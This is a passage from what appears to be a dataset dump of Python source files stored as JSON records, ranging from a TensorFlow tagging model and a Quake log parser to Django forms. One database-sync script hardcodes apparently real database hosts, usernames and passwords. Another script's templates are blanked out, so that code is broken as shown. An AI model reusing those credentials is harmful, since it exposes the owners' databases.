{'1'.EX.'9'} )\")\n\n def test_nested_context(self):\n\n table = self.MockTable()\n\n f = Filter(table)\n\n f &= f.field('name').equals('pugsly')\n\n with f.and_context as fand:\n\n fand &= fand.field('fav_color').equals('black')\n\n with fand.and_context as fand2:\n\n fand2 &= fand2.field('age').greater_than(5)\n fand2 &= fand2.field('age').less_than(10)\n\n expected = \"{'0'.EX.'pugsly'} AND ( {'2'.EX.'black'} AND ( {'1'.GT.'5'} AND {'1'.LT.'10'} ) )\"\n self.assertEqual(f.query, expected)\n\n def test_nested_context2(self):\n\n table = self.MockTable()\n\n f = Filter(table)\n\n f &= f.field('name').equals('pugsly')\n\n with f.or_context as forc:\n\n forc &= forc.field('fav_color').equals('black')\n\n with forc.or_context as forc2:\n\n forc2 &= forc2.field('age').greater_than(5)\n forc2 &= forc2.field('age').less_than(10)\n\n expected = \"{'0'.EX.'pugsly'} OR ( {'2'.EX.'black'} OR ( {'1'.GT.'5'} AND {'1'.LT.'10'} ) )\"\n self.assertEqual(f.query, expected)\n\nclass TestFilterField(unittest.TestCase):\n\n def test_startswith(self):\n\n ff = FilterField(name='myfield', field_id='13137')\n\n ff.startswith('moo')\n\n self.assertEqual(ff.render(), \"{'13137'.SW.'moo'}\")\n\n def test_equals(self):\n\n ff = FilterField(name='myfield', field_id='13137')\n\n ff.equals('zoo')\n\n self.assertEqual(ff.render(), \"{'13137'.EX.'zoo'}\")\n","sub_path":"tests/test_filter.py","file_name":"test_filter.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"598645661","text":"#!/usr/bin/env python\r\n\r\nimport os, sys, glob, getopt, time, string, signal, stat, shutil\r\nimport gobject, pango, math, traceback, subprocess\r\nimport gzip, zlib, zipfile, re\r\n\r\n# Create EBOOK spine files from master list in file flist.txt\r\n# the file is a text file listing html files to process and \r\n# the title of the page. The two fields are separated by '--'\r\n\r\ntochead = '''\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n Messages from the Universe\r\n Peter Glen\r\n''' \r\n\r\ntocfoot = '''\r\n'''\r\n\r\nnavitem = '''\r\n Apple\r\n \r\n '''\r\n \r\ncontent = '''\r\n\r\n \r\n MEFTU/\r\n Peter Glen\r\n en\r\n Public Domain\r\n Messages From the Universe\r\n \r\n'''\r\ncontent2 = ''' \r\n\r\n \r\n \r\n \r\n\r\n\r\n'''\r\n\r\n# -----------------------------------------------------------------------\r\n# Start of program:\r\n\r\nif __name__ == '__main__':\r\n\r\n #print \"Generating ebook TOC\"\r\n \r\n # Read in file data\r\n flist = []; tlist = []\r\n fp = open(\"flist.txt\")\r\n while True:\r\n line = fp.readline()\r\n if line == \"\": break\r\n line = line.rstrip()\r\n if line == \"\": break\r\n aa = line.split(\"--\")\r\n aa[0] = aa[0].lstrip().rstrip()\r\n if len(aa) < 2:\r\n aa.append(aa[0])\r\n aa[1] = aa[1].lstrip()\r\n \r\n try:\r\n if not aa[0].startswith(\"_\"): \r\n aa[1] = aa[0].split(\".\")[0] + \" - \" + aa[1]\r\n except: pass\r\n flist.append(aa[0]); tlist.append(aa[1])\r\n fp.close()\r\n \r\n #print \"\\nflist:\", flist; print \"\\ntlist:\", tlist\r\n #sys.exit(0)\r\n \r\n # Do content\r\n contfp = open(\"../content.opf\", \"w\")\r\n contfp.write(content)\r\n mani = \"\\n\\n\" \\\r\n '\\t\\n'\r\n \r\n for aa in range(len(flist)):\r\n mline = \\\r\n '\\t\\n' \\\r\n % (tlist[aa], flist[aa])\r\n mani += mline\r\n mani += \"\\n\"\r\n contfp.write(mani);\r\n \r\n # --------------------------------------------------------------------\r\n # Create toc\r\n \r\n tocstr = '''\\n\\n'''\r\n for aa in range(len(flist)):\r\n tocstr += '\\t\\n' % tlist[aa]\r\n tocstr += \"\\n\\n\"\r\n contfp.write(tocstr);\r\n contfp.write(content2)\r\n\r\n contfp.close()\r\n\r\n # --------------------------------------------------------------------\r\n # Do toc.ncx\r\n \r\n tocfmt = '''\\t\r\n \\t%s\r\n \\t\\t \r\n \\t\\n'''\r\n\r\n tocfp = open(\"../toc.ncx\", \"w\")\r\n tocfp.write(tochead)\r\n item = 0\r\n toc = \"\\n\\n\" \r\n \r\n for aa in range(len(flist)):\r\n mline = tocfmt % (item, tlist[aa], flist[aa])\r\n toc += mline\r\n item += 1\r\n \r\n toc += \"\\n\"\r\n tocfp.write(toc);\r\n tocfp.write(tocfoot);\r\n tocfp.close()\r\n \r\n \r\n \r\n\r\n\r\n\r\n","sub_path":"epub/scripts/gentoc.py","file_name":"gentoc.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"250828961","text":"# -*- coding: utf-8 -*-\nimport logging\nfrom dHydra.core.Functions import *\nimport click\n\ndef init_loger():\n\tformatter = logging.Formatter('%(asctime)s - %(name)s - %(lineno)d - %(levelname)s - %(message)s')\n\tlogger = logging.getLogger()\n\tlogger.setLevel(logging.DEBUG)\n\n\t# 屏幕日志打印设置\n\tconsole_handler = logging.StreamHandler()\n\tconsole_handler.setFormatter(formatter)\n\tconsole_handler.setLevel(logging.INFO)\n\tlogger.addHandler(console_handler)\n\n\tif not os.path.exists('log'):\n\t\tos.makedirs('log')\n\t# 打开下面的输出到文件\n\tfile_handler = logging.FileHandler('log/error.log')\n\tfile_handler.setLevel(logging.ERROR)\n\tfile_handler.setFormatter(formatter)\n\tfile_handler2 = logging.FileHandler('log/debug.log')\n\tfile_handler2.setLevel(logging.DEBUG)\n\tfile_handler2.setFormatter(formatter)\n\n\tlogger.setLevel(logging.INFO)\n\tlogger.addHandler(file_handler)\n\tlogger.addHandler(file_handler2)\n\n@click.command()\n@click.argument('worker_name', nargs = 1)\n@click.argument('nickname', nargs = -1)\ndef start(worker_name = None, nickname = None):\n msg = { \"type\":\"sys\", \"operation_name\":\"start_worker\", \"kwargs\": { \"worker_name\": worker_name } }\n if nickname is not None:\n msg[\"kwargs\"][\"nickname\"] = nickname[0]\n __redis__.publish( \"dHydra.Command\", msg )\n\n@click.command()\n@click.argument('nickname', nargs = 1)\ndef terminate(nickname = None):\n msg = { \"type\":\"sys\", \"operation_name\":\"terminate_worker\", \"kwargs\": { \"nickname\": nickname } }\n if nickname is not None:\n msg[\"kwargs\"][\"nickname\"] = nickname\n __redis__.publish( \"dHydra.Command\", msg )\n\ndef start_worker(worker_name = None, nickname = None, **kwargs):\n msg = { \"type\":\"sys\", \"operation_name\":\"start_worker\", \"kwargs\": { \"worker_name\": worker_name, \"nickname\" : nickname } }\n\n for k in kwargs.keys():\n msg[\"kwargs\"][k] = kwargs[k]\n __redis__.publish( \"dHydra.Command\", msg )\n\ndef stop_worker(nickname = None):\n msg = { \"type\":\"sys\", \"operation_name\":\"terminate_worker\", \"kwargs\": { \"nickname\" : nickname } }\n\n __redis__.publish( \"dHydra.Command\", msg )\n\ndef send_command(channel_name = \"dHydra.Command\", command_type = \"sys\", operation_name = None, token = None, kwargs = {} ):\n\tif operation_name is not None:\n\t\tcommand = { \t\"type\":command_type\n\t\t\t\t\t,\t\"operation_name\": operation_name\n\t\t\t\t\t,\t\"token\" : token\n\t\t \t\t\t,\t\"kwargs\": kwargs\n\t\t\t\t}\n\t\t__redis__.publish( channel_name, json.dumps(command) )\n\ninit_loger()\n__redis__ = get_vendor(\"DB\").get_redis()\n","sub_path":"dHydra/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"498887514","text":"# -*- coding: utf-8 -*-\n\n# Copyright 2019 ICON Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\n\nDIR_PATH = os.path.abspath(os.path.dirname(__file__))\nPROJECT_ROOT_PATH = os.path.abspath(os.path.join(DIR_PATH, '..', '..'))\n\nEOA_ADDRESS = \"hx1234567890123456789012345678901234567890\"\nGOVERNANCE_ADDRESS = \"cx0000000000000000000000000000000000000001\"\nZERO_ADDRESS = \"cx0000000000000000000000000000000000000000\"\n\nDEFAULT_URL = \"http://127.0.0.1:9000/api/v3\"\nDEFAULT_NID = 3\n\nCOLUMN = 80\n\nPREDEFINED_URLS = {}\n\n\nclass ConstantKeys:\n NAME = \"name\"\n COUNTRY = \"country\"\n CITY = \"city\"\n EMAIL = 'email'\n WEBSITE = 'website'\n DETAILS = 'details'\n P2P_ENDPOINT = 'p2pEndpoint'\n IREP = \"irep\"\n NODE_ADDRESS = \"nodeAddress\"\n\n\nfields_to_validate = (\n ConstantKeys.NAME,\n ConstantKeys.COUNTRY,\n ConstantKeys.CITY,\n ConstantKeys.EMAIL,\n ConstantKeys.WEBSITE,\n ConstantKeys.DETAILS,\n ConstantKeys.P2P_ENDPOINT,\n ConstantKeys.NODE_ADDRESS\n )\n\n\nproposal_param_by_type = [\n [\"value_value\"], # type 0\n [\"value_code\", \"value_name\"], # type 1\n [\"value_address\", \"value_type\"], # type 2\n [\"value_address\"], # type 3\n [\"value_value\"] # type 4\n]\n","sub_path":"preptools/utils/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"186840592","text":"#coding=utf-8\nimport tensorflow as tf\nimport numpy\n\nclass PropertiesClass(object):\n def __init__(self, FLAGS):\n self.input_x = tf.placeholder(tf.int32, [None, FLAGS.max_length], name='input_x')\n self.input_y = tf.placeholder(tf.int32,[None, FLAGS.max_length], name='input_y')\n self.keep_prob = tf.placeholder(tf.float32, name='keep_prob')\n input_properties = [self.input_y]\n #embedding layer\n with tf.device('/cpu:0'), tf.name_scope('embedding'):\n emb_W = tf.Variable(tf.random_uniform([FLAGS.vocab_num, FLAGS.embedding_size], 0., 1.), name='emb_W')\n# emb_num = tf.Variable(tf.random_uniform([FLAGS.classes, FLAGS.embedding_size / 4], 0., 1.), name='emb_num')\n embedding_chars = tf.nn.embedding_lookup(emb_W, self.input_x)\n# embedding_num = tf.nn.embedding_lookup(emb_num, self.input_num)\n# input_item = tf.concat([embedding_chars, embedding_num], axis=2)\n input_item = embedding_chars\n\n self.mask_x = tf.sign(self.input_x)\n self.sequence_length = tf.reduce_sum(self.mask_x, axis=1)\n\n rnn_cell_fw = tf.contrib.rnn.BasicLSTMCell(FLAGS.hidden_size)\n rnn_cell_fw = tf.contrib.rnn.DropoutWrapper(rnn_cell_fw, output_keep_prob=self.keep_prob)\n rnn_cell_bw= tf.contrib.rnn.BasicLSTMCell(FLAGS.hidden_size)\n rnn_cell_bw = tf.contrib.rnn.DropoutWrapper(rnn_cell_bw, output_keep_prob=self.keep_prob)\n\n lstm_cell = tf.contrib.rnn.BasicLSTMCell(FLAGS.hidden_size * 2)\n lstm_cell = tf.contrib.rnn.DropoutWrapper(lstm_cell, output_keep_prob=self.keep_prob)\n\n self.properties_loss = []\n self.properties_accuracy = []\n self.properties_pred =[]\n self.properties_transition = []\n\n for i, property in enumerate(input_properties):\n with tf.variable_scope('properties_lstm') as scope:\n if i > 0:\n scope.reuse_variables()\n outputs, states = tf.nn.bidirectional_dynamic_rnn(cell_fw=rnn_cell_fw, cell_bw=rnn_cell_bw,\n dtype=tf.float32, sequence_length=self.sequence_length,\n inputs=input_item, time_major=False)\n outputs = tf.concat(outputs, 2)\n lstm_output, lstm_state = tf.nn.dynamic_rnn(lstm_cell, inputs=outputs, dtype=tf.float32, sequence_length=self.sequence_length, time_major=False)\n\n with tf.name_scope('properties_softmax'):\n pro_weights = tf.Variable(tf.truncated_normal([FLAGS.hidden_size * 2, FLAGS.classes], stddev=0.5),\n name='pro_weights')\n pro_biases = tf.Variable(tf.truncated_normal([FLAGS.classes], stddev=0.5), name='pro_biases')\n output = tf.reshape(lstm_output, [-1, FLAGS.hidden_size * 2])\n self.property_logits = tf.nn.xw_plus_b(output, pro_weights, pro_biases)\n# property_probs = tf.reshape(tf.nn.softmax(self.property_logits), [-1, FLAGS.max_length, FLAGS.classes])\n property_probs = tf.reshape(self.property_logits, [-1, FLAGS.max_length, FLAGS.classes])\n# print property_probs\n# property_pred = tf.to_int32(tf.argmax(property_probs, axis=2))\n self.properties_pred.append(property_probs)\n\n with tf.variable_scope('properties_calculate{}'.format(i)):\n property_losses, transition_params = tf.contrib.crf.crf_log_likelihood(property_probs, property, self.sequence_length)\n property_loss = tf.reduce_mean(-property_losses)\n self.properties_loss.append(property_loss)\n self.properties_transition.append(transition_params)\n\n\n self.loss = tf.reduce_sum(self.properties_loss)\n\n self.saver = tf.train.Saver()\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"24281665","text":"# coding=utf-8\n\n\"\"\"\n\tMetagenomes -- adaboost.py\n\n\tDate: 06/04/2016\n\tAuthor: Madis Rumming \n\"\"\"\n\n\n__author__ = \"Madis Rumming \"\n__copyright__ = \"Copyright 2016, Computational Metagenomics, Faculty of Technology, Bielefeld University\"\n\n__version__ = \"0.0.2\"\n__maintainer__ = \"Madis Rumming\"\n__email__ = \"mrumming@cebitec.uni-bielefeld.de\"\n__status__ = \"Development\"\n\nimport numpy as np\nimport pandas\nfrom sklearn import cross_validation\nfrom sklearn import metrics\nfrom sklearn.ensemble import AdaBoostClassifier\n\nimport MetaStone.Procedures.MachineLearning.Tools.IO as io\nfrom MetaStone.Procedures.MachineLearning.Methods import ClassifierModel\n\n\n\nclass AdaBoost(ClassifierModel):\n def __init__(self):\n self.classifier = None\n self.pfams = []\n\n def train(self, dataframe, metadata_label, *args, **kwargs):\n \"\"\" Train model from sets of TPs and FPs\n\n :param dataframe: data frame with training data (pfams) and metadata to classify\n :type dataframe: pandas.DataFrame\n :param metadata_label: Column label to classify\n :type metadata_label: str\n \"\"\"\n # dataframe.fillna(.0, inplace=True)\n\n pfams = list(filter(lambda s: not s.startswith(metadata_label), dataframe.columns))\n metadata_labels = list(filter(lambda s: s.startswith(metadata_label), dataframe.columns))\n\n if not kwargs:\n kwargs = {\"n_estimators\": 100}\n elif not \"n_estimators\" in kwargs:\n kwargs[\"n_estimators\"] = 100\n\n to_remove = []\n for key in kwargs.keys():\n if key.startswith(\"pre_\"):\n to_remove.append(key)\n\n pre_kwargs = {}\n for key in to_remove:\n pre_kwargs[key[4:]] = kwargs.pop(key)\n\n # self.classifier = AdaBoostClassifier(\n # base_estimator=RandomForestClassifier(n_jobs=40, n_estimators=100, criterion=\"entropy\"), **kwargs)\n self.classifier = AdaBoostClassifier()\n self.classifier.fit(dataframe[pfams].values, dataframe[metadata_label].values)\n self.pfams = pfams\n\n def classify(self, dataframe, metadata_label, *args, **kwargs):\n \"\"\" Classify a set of instances after training\n\n :param dataframe: data frame with instances.\n :type dataframe: pandas.DataFrame\n :param metadata_label: the feature columns to use\n :type metadata_label: str\n\n :return: data frame with added column \"ptag\" which gives the classification\n :rtype: pandas.DataFrame\n \"\"\"\n\n # dataframe.fillna(.0, inplace=True)\n\n\n preds = self.classifier.predict(dataframe[self.pfams].values)\n\n dataframe[metadata_label + \"_ptag\"] = preds\n\n cprobs = self.classifier.predict_proba(dataframe[self.pfams].values)\n\n return dataframe\n\n def can_predict(self):\n return True\n\n def cross_validate(self, dataframe, metadata_label, *args, **kwargs):\n\n # dataframe.fillna(.0, inplace=True)\n\n\n if not kwargs:\n kwargs = {\"n_jobs\": 40,\n \"cv\": 3,\n \"scoring\": \"accuracy\"}\n if not \"cv\" in kwargs:\n kwargs[\"cv\"] = 3\n if not \"n_jobs\" in kwargs:\n kwargs[\"n_jobs\"] = 40\n if not \"scoring\" in kwargs:\n kwargs[\"scoring\"] = \"accuracy\"\n\n return cross_validation.cross_val_score(self.classifier, dataframe[self.pfams].values,\n dataframe[metadata_label].values,\n n_jobs=kwargs[\"n_jobs\"], cv=kwargs[\"cv\"], scoring=kwargs[\"scoring\"])\n\n def cross_validate_stratifiedkfold(self, dataframe, metadata_label, multilabel=False, binary=False, n_folds=3.,\n completeness=1., **kwargs):\n\n cross_kwargs = {}\n if not cross_kwargs:\n cross_kwargs = {'n_folds': n_folds, 'shuffle': False, 'random_state': None}\n if not 'n_folds' in cross_kwargs:\n cross_kwargs['n_folds'] = n_folds\n if not 'shuffle' in cross_kwargs:\n cross_kwargs['shuffle'] = False\n if not 'random_state' in cross_kwargs:\n cross_kwargs['random_state'] = None\n\n # Index: fold# --> Value: {Key: scoring_method, Value: score}\n scores = []\n\n skf = cross_validation.StratifiedKFold(dataframe[metadata_label].values, **cross_kwargs)\n\n for i, (train, test) in enumerate(skf):\n score_ = {}\n self.train(dataframe.iloc[train], metadata_label, **kwargs)\n if completeness == 1.:\n print(\"COMPLETE\")\n preds = self.classifier.predict(dataframe.iloc[test][self.pfams].values)\n else:\n print(\"PARTIAL\")\n df_cp = dataframe.iloc[test][self.pfams].values\n for shap in range(df_cp.shape[0]):\n try:\n for choi in np.random.choice(df_cp[shap].nonzero()[0],\n int(np.count_nonzero(df_cp[shap]) * (1 - completeness)),\n replace=False):\n df_cp[shap][choi] = .0\n except:\n pass\n preds = self.classifier.predict(df_cp)\n\n score_[\"Accuracy\"] = metrics.accuracy_score(dataframe.iloc[test][metadata_label].values, preds)\n #if binary:\n # score_[\"Precision\"] = metrics.precision_score(dataframe.iloc[test][metadata_label].values, preds,\n # average=\"binary\", pos_label=None)\n # score_[\"Recall\"] = metrics.recall_score(dataframe.iloc[test][metadata_label].values, preds,\n # average=\"binary\", pos_label=None)\n # score_[\"f1\"] = metrics.f1_score(dataframe.iloc[test][metadata_label].values, preds, average=\"binary\",\n # pos_label=None)\n #else:\n score_[\"Precision\"] = metrics.precision_score(dataframe.iloc[test][metadata_label].values, preds,\n average=\"weighted\")\n score_[\"Recall\"] = metrics.recall_score(dataframe.iloc[test][metadata_label].values, preds,\n average=\"weighted\")\n score_[\"f1\"] = metrics.f1_score(dataframe.iloc[test][metadata_label].values, preds, average=\"weighted\")\n scores.append(score_)\n\n return scores\n\n def save(self, filename):\n \"\"\" Save to file \"\"\"\n if filename.endswith(\".json\"):\n io.write_classifier_json(self.classifier, filename)\n else:\n io.write_classifier_pickle(self.classifier, filename)\n\n io.write_classifier_pickle(self.pfams, \"features_\" + filename)\n\n def load(self, filename):\n \"\"\" Load from file \"\"\"\n self.classifier = io.read_pickled_classifier(filename)\n\n self.pfams = io.read_pickled_classifier(\"features_\" + filename)\n\n def plots(self, prefix, featurenames):\n \"\"\" Make diagnostic plots \"\"\"\n importances = self.classifier.feature_importances_\n std = np.std([tree.feature_importances_ for tree in self.classifier.estimators_],\n axis=0)\n indices = np.argsort(importances)[::-1]\n\n # Print the feature ranking\n print(\"Feature ranking:\")\n\n for f in range(0, len(indices)):\n print(\"%d. feature %d:%s (%f +- %f)\" % (f + 1, indices[f],\n featurenames[indices[f]],\n importances[indices[f]],\n std[indices[f]]))\n\n\nClassifierModel.register(\"adaboost\", AdaBoost)\n","sub_path":"MetaStone/Procedures/MachineLearning/Methods/EnsembleMethods/Adaboost.py","file_name":"Adaboost.py","file_ext":"py","file_size_in_byte":7944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"396760470","text":"from django import forms\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\n\n\nclass SignUpForm(UserCreationForm):\n\n birthday = forms.DateField(\n help_text='Required',\n widget=forms.DateInput(attrs={'type': 'date'}, format='%Y-%m-%d'),\n )\n\n class Meta:\n model = User\n fields = ('username', 'birthday', 'password1', 'password2',)\n\n\nclass UpdateUserForm(forms.ModelForm):\n\n birthday = forms.DateField(\n help_text='Required',\n widget=forms.DateInput(attrs={'type': 'date'}, format='%Y-%m-%d'),\n )\n\n class Meta:\n model = User\n fields = ('birthday', 'email', 'first_name', 'last_name')\n\n def __init__(self, *args, **kwargs):\n super(UpdateUserForm, self).__init__(*args, **kwargs)\n # try:\n self.fields['birthday'].initial = self.instance.profile.birthday\n # except:\n # pass\n","sub_path":"profiles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"37363520","text":"import json\n\nclass QuakeLogParser:\n def __init__(self):\n self.INIT_GAME = 'InitGame:'\n self.CLIENT_CONNECT = 'ClientConnect:'\n self.CLIENT_DISCONNECT = 'ClientDisconnect:'\n self.INFO_CHANGED = 'ClientUserinfoChanged:'\n self.ITEM = 'Item:'\n self.KILL = 'Kill:'\n self.count = 0\n self.data = [] \n\n def init_game_parse(self, line):\n index = line.find(self.INIT_GAME)\n self.count += 1\n return dict(id=self.count, players=[], kills=0)\n \n def client_connect_parse(self, line):\n index = line.find(self.CLIENT_CONNECT)\n start_index = index + len(self.CLIENT_CONNECT)\n end_index = line[start_index:].find('\\n') + start_index\n return line[start_index:end_index].strip()\n \n def client_disconnect_parse(self, line):\n index = line.find(self.CLIENT_DISCONNECT)\n start_index = index + len(self.CLIENT_DISCONNECT)\n end_index = line[start_index:].find('\\n') + start_index\n return line[start_index:end_index].strip()\n \n def info_changed_parse(self, line):\n index = line.find(self.INFO_CHANGED)\n\n start_index_id = index + len(self.INFO_CHANGED)\n end_index_id = line[start_index_id:].find('n\\\\') + start_index_id\n player_id = line[start_index_id:end_index_id].strip()\n \n start_index_name = end_index_id + len('n\\\\')\n end_index_name = line[start_index_name:].find('\\\\') + start_index_name\n player_name = line[start_index_name:end_index_name].strip()\n return dict(id=player_id, name=player_name)\n\n def item_parse(self, line):\n index = line.find(self.ITEM)\n \n start_index_id = index + len(self.ITEM) + 1\n end_index_id = line[start_index_id:].find(' ') + start_index_id\n player_id = line[start_index_id:end_index_id].strip()\n\n start_index_item = end_index_id\n end_index_item = line[start_index_item:].find('\\n') + start_index_item\n item = line[start_index_item:end_index_item].strip()\n return dict(id=player_id, item=item)\n \n def kill_parse(self, line):\n index = line.find(self.KILL)\n start_index_kill = index + len(self.KILL) + 1\n end_index_kill = line[start_index_kill:].find(':') + start_index_kill\n\n kills_and_items = line[start_index_kill:end_index_kill]\n lines_splitted = kills_and_items.split(' ')\n return dict(killer=lines_splitted[0], killed=lines_splitted[1])\n \n def parse(self, filename):\n quake_log = open(filename, 'r')\n\n game_reference = {}\n for line in quake_log: \n if line.find(self.INIT_GAME) > -1:\n game_reference = self.init_game_parse(line)\n self.data.append(game_reference)\n\n elif line.find(self.CLIENT_CONNECT) > -1:\n player_id = self.client_connect_parse(line)\n game_reference['players'].append(dict(id=player_id, name='', kills=0, items=[]))\n\n elif line.find(self.CLIENT_DISCONNECT) > -1:\n player_id = self.client_disconnect_parse(line)\n players = game_reference['players']\n players = [item for item in players if item['id'] != player_id]\n game_reference['players'] = players\n \n elif line.find(self.INFO_CHANGED) > -1:\n info_changed = self.info_changed_parse(line)\n for player in game_reference['players']:\n if player['id'] == info_changed['id']:\n player['name'] = info_changed['name']\n break\n\n elif line.find(self.ITEM) > -1:\n item_found = self.item_parse(line)\n for player in game_reference['players']:\n if player['id'] == item_found['id']:\n player['items'].append(item_found['item'])\n break\n \n elif line.find(self.KILL) > -1:\n kill_info = self.kill_parse(line)\n id_to_find = 0\n increment_score = False\n \n if kill_info['killer'] == '1022' or kill_info['killer'] == kill_info['killed']:\n id_to_find = kill_info['killed']\n else:\n increment_score = True\n \n for player in game_reference['players']:\n if player['id'] == id_to_find:\n if increment_score:\n player['kills'] += 1\n else:\n player['kills'] -= 1\n break\n \n game_reference['kills'] += 1\n\n quake_log.close()\n return self.data\n \n \nif __name__ == '__main__':\n print('init')\n quake_log_parser = QuakeLogParser()\n result_parsed = quake_log_parser.parse(\"log/quake.log\")\n dump = open('log/output2.log', 'w')\n dump.write(json.dumps(result_parsed, sort_keys=True, indent=4))\n\n dump.close()\n\n json_file = open('log/output2.log', 'r')\n my_obj = json.load(json_file)\n print('end')\n","sub_path":"sources/python/quake_akita/quake.py","file_name":"quake.py","file_ext":"py","file_size_in_byte":5232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"271631771","text":"import numpy as np\nfrom numpy.linalg import norm\n\n\ndef compare_faces(f1, f2):\n\n def normalize(embedding):\n embedding_norm = norm(embedding)\n normed_embedding = embedding / embedding_norm\n return normed_embedding\n\n f1 = normalize(f1)\n f2 = normalize(f2)\n\n return (1. + np.dot(f1, f2)) / 2\n\n\ndef find_closest_match(profiles, f1):\n dists = np.array([compare_faces(profile, f1) for profile in profiles.values()])\n\n closest_match = np.argmax(dists)\n profile_name = list(profiles)[closest_match]\n score = round(100 * dists[closest_match], 2)\n\n return profile_name, score\n\n","sub_path":"server/face_api/recognition.py","file_name":"recognition.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"351127065","text":"# -*- coding:utf-8 -*-\nimport pymysql\nimport cx_Oracle\nimport sys\n# import numpy as np\n# import time\n# import sched\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nmysql_conn = pymysql.connect(\n host='192.168.9.132',\n port=3308,\n user='xcsm',\n passwd='itbt2016',\n db='xcsm',\n charset='utf8',\n)\n\n# oracle_conn = cx_Oracle.connect(\"xccoms001/xccoms001@218.6.173.218:18325/ORCL\")\noracle_conn = cx_Oracle.connect(\"xccoms001/xccoms2018@172.30.10.189:1521/ORCL\")\n\ncur_my = mysql_conn.cursor()\ncur_or = oracle_conn.cursor()\n\nSQL1 = \"SELECT DATE_FORMAT(DATE_SUB(CURDATE(),INTERVAL 1 DAY),'%Y-%m-%d'),companyName,'',shopId,COUNT(orderNo) ,SUM(amount) ,(SUM(amount)/COUNT(orderNo)) FROM xc_order WHERE state = 4 AND shopId LIKE 'Z%' AND paytime=DATE_FORMAT(DATE_SUB(CURDATE(),INTERVAL 1 DAY),'%Y-%m-%d 00:00:00') AND paytime 0 :\r\n\r\n for i in containers:\r\n print(id)\r\n print(i)\r\n id += 1\r\n break\r\n print(\"-\" * 10)\r\n\r\n var = containers[1]\r\n for i in var:\r\n papel = i\r\n print(f\"Papel: {papel}\")\r\n\r\n var = containers[3]\r\n for i in var:\r\n cotacao_atual = i\r\n print(f\"Cotação Atual: {cotacao_atual}\")\r\n\r\n var = containers[13]\r\n for i in var:\r\n for s in i:\r\n setor = s\r\n print(f\"Setor: {setor}\")\r\n\r\n var = containers[97]\r\n for i in var:\r\n ptr_liquido = i\r\n print(f\"Patrimônio Líquido: {i}\")\r\n\r\n var = containers[27]\r\n for i in var:\r\n qtde_acoes = i\r\n print(f\"Nro. Ações: {i}\")\r\n\r\n var = containers[110]\r\n for i in var:\r\n luc_liquido_ano = i\r\n print(f\"Lucro Líquido (ÚLTIMOS 12 MESES): {i}\")\r\n\r\n var = containers[112]\r\n for i in var:\r\n luc_liquido_tri = i\r\n print(f\"Lucro Líquido (ÚLTIMOS 3 MESES): {i}\")\r\n\r\n # Conversao variáveis para cálculo\r\n ptr_liquido = ptr_liquido.replace('.', '')\r\n cotacao_atual = cotacao_atual.replace(',', '.')\r\n qtde_acoes = qtde_acoes.replace('.', '')\r\n\r\n ptr_liquido = float(ptr_liquido)\r\n cotacao_atual = float(cotacao_atual)\r\n qtde_acoes = float(qtde_acoes)\r\n luc_liquido = float(luc_liquido)\r\n\r\n # Calculo do VPA\r\n # valor por ação - divide o valor do patrimonio liquido pela quantidade de acões disponíveis,\r\n # caso seja vendida esse é o valor recebido por ação\r\n vpa = ptr_liquido / qtde_acoes\r\n\r\n # corresponde ao preço de uma ação dividido pelo valor patrimonial correspondente a ela, sendo esse o indicador que diz o quanto os # investidores estão dispostos a pagar pelo patrimônio líquido da empresa.\r\n p_vpa = cotacao_atual / vpa\r\n\r\n # Calculo de lucro por ação - lucro liquido da empresa dividido por ação será o que cada acionista recebera\r\n # caso a empresa entregue _todo seu lucro aos acionistas\r\n lpa = luc_liquido / qtde_acoes\r\n\r\n # P/L\r\n # O P/L\r\n # nada mais é do que o preço atual da ação, dividido pelo lucro por ação. Em outras palavras,\r\n # ele mostra quanto que os investidores estão dispostos a pagar por cada R$ 1 de lucro que a empresa tiver.\r\n if cotacao_atual or lpa == 0:\r\n pl = 0\r\n pass\r\n else:\r\n pl = cotacao_atual / lpa\r\n\r\n # rpl quanto uma empresa gera de lucro sobre o seu próprio patrimonio em 12 meses\r\n rpl = luc_liquido / ptr_liquido\r\n # multiplica por 100 e teremos a % ao ano\r\n rpl = rpl * 100\r\n\r\n # dados de acordo com o retorno dos cálculos\r\n print()\r\n print(f'Valor patrimonial por ação (VPA):{vpa:.2f}')\r\n print(f'Valor por ação: {p_vpa:.2f}')\r\n print(f'Lucro por ação (LPA):{lpa:.2f}')\r\n print(f'O P/L da {papel} está em {pl:.2f}')\r\n print(f'Hoje {papel.upper()} gera lucro sobre o seu próprio patrimonio em 12 meses de: {rpl:.2f}% ')\r\n else:\r\n pass\r\n\r\n\r\n","sub_path":"stock_market/webscraping.py","file_name":"webscraping.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"565612672","text":"\n\nclass Simulator(object):\n def __init__(self, 